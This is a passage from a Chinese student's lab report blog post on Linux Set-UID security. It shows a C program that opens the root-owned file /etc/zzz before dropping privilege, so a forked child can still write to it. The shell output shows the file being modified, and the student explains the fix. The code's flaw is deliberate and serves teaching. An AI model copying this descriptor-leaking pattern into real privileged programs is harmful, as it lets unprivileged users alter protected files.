zxy@ecs-kc1-large-2-linux-20201025105424:~$ chmod 4755 myprog

zxy@ecs-kc1-large-2-linux-20201025105424:~$ ls -l myprog
-rwsr-xr-x 1 zxy zxy 8992 Mar 21 19:06 myprog

zxy@ecs-kc1-large-2-linux-20201025105424:~$ su test
Password: 

test@ecs-kc1-large-2-linux-20201025105424:/home/zxy$ ./myprog 

test@ecs-kc1-large-2-linux-20201025105424:/home/zxy$ 

由以上四种情况可见:只有用户自己创建的程序自己去运行,才会使用LD_PRELOAD环境变量,重载sleep函数,否则的话忽略LD_PRELOAD环境变量,不会重载sleep函数

2.7 task 7

2.7.1 实验任务

为了更加安全,Set-UID程序通常会调用setuid()系统调用函数永久的清除它们的root权限。然而有些时候,这样做是远远不够的。编译接下来的这个程序,给这个程序设置root权限。在一个普通的用户下,运行这个程序

(1)描述你所观察到的情况,/etc/zzz这个文件会被修改吗?请解释你的观察

2.7.2 实验流程

编辑lab1-7

zxy@ecs-kc1-large-2-linux-20201025105424:~$ vim lab1-7.c

源码

#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
void main()
{
  int fd;
  //Assume that /tmp/zzz is an important system file,
  //and it is owned by root with permission 0644
  fd = open("/etc/zzz", O_RDWR | O_APPEND);
  // Simulate the tasks conducted by the program
  sleep(1);
  // After the task, the root privileges are no longer needed,
   //it’s time to relinquish the root privileges permanently.
  setuid(getuid()); // getuid() returns the real uid
  if (fork())
  { // In the parent process
   close (fd);
    exit(0);
  }
  else
  { // in the child process
  //Now, assume that the child process is compromised, malicious
  //attackers have injected the following statements
  //into this process
   write (fd, "shiyanlou!", 10);
  close (fd);
  }
}

编译lab1-7.c

root@ecs-kc1-large-2-linux-20201025105424:/home/zxy# gcc lab1-7.c -o  lab1-7 -g
lab1-7.c: In function ‘main’:
lab1-7.c:13:3: warning: implicit declaration of function ‘sleep’ [-Wimplicit-function-declaration]
   sleep(1);
   ^~~~~
lab1-7.c:16:3: warning: implicit declaration of function ‘setuid’; did you mean ‘setenv’? [-Wimplicit-function-declaration]
   setuid(getuid()); // getuid() returns the real uid
   ^~~~~~
   setenv
lab1-7.c:16:10: warning: implicit declaration of function ‘getuid’; did you mean ‘getenv’? [-Wimplicit-function-declaration]
   setuid(getuid()); // getuid() returns the real uid
          ^~~~~~
          getenv
lab1-7.c:17:7: warning: implicit declaration of function ‘fork’ [-Wimplicit-function-declaration]
   if (fork())
       ^~~~
lab1-7.c:19:4: warning: implicit declaration of function ‘close’; did you mean ‘pclose’? [-Wimplicit-function-declaration]
    close (fd);
    ^~~~~
    pclose
lab1-7.c:27:4: warning: implicit declaration of function ‘write’; did you mean ‘fwrite’? [-Wimplicit-function-declaration]
    write (fd, "shiyanlou!", 10);
    ^~~~~
    fwrite

并赋予setuid权限

root@ecs-kc1-large-2-linux-20201025105424:/home/zxy# chmod 4755 lab1-7

root@ecs-kc1-large-2-linux-20201025105424:/home/zxy# ls -l lab1-7
-rwsr-xr-x 1 root root 12232 Mar 21 19:11 lab1-7

新建一个空白文件

root@ecs-kc1-large-2-linux-20201025105424:/home/zxy# touch /etc/zzz

root@ecs-kc1-large-2-linux-20201025105424:/home/zxy# cat /etc/zzz

切换回普通用户后执行lab1-7应用程序

root@ecs-kc1-large-2-linux-20201025105424:/home/zxy# su zxy

zxy@ecs-kc1-large-2-linux-20201025105424:~$ ./lab1-7

zxy@ecs-kc1-large-2-linux-20201025105424:~$ cat /etc/zzz
shiyanlou

可以发现文件已经被修改了

2.7.3 问题回答

P1:

我们可以发现文件的内容已经被修改了。原因在于设置uid前,zzz文件就已经被打开了。因为应用程序还没根据现在用户的权限设置uid前,是一个SetUID程序,拥有root权限,可以把zzz文件打开。只要将语句setuid(getuid())移至调用open函数之前,就能避免这个问题

三、总结

通过本次几个简单的小实验,我从头到尾经历了一遍操作系统逻辑漏洞的利用过程,在此期间还学习了诸多Linux操作系统的使用方法和系统特性。总而言之,使得我对Linux的setuid机制有了更为深刻的理解,对信息安全的供给与防御有了直观的感受。不禁概叹到,尽管是发展了几十年的成熟操作系统依然存在这样那样的漏洞,网络安全就是国家安全,我国还没有完全拥有一套自己知识产权的民用系统,多半还是基于Linux操作内核,而操作系统作为底层基础架构,我国的网络安全依然遭受着巨大的威胁。

从这几个代码,我理解了要发现系统的漏洞,熟悉代码的逻辑是非常必要的,这提醒了我要成为一名良好的信息安全人员,首先得是一名优秀的开发者。信息安全普罗万象,我们只有做到比其他人更熟悉更深入,才能做到攻防自如。

  • 0
    点赞
  • 9
    收藏
    觉得还不错? 一键收藏
  • 2
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值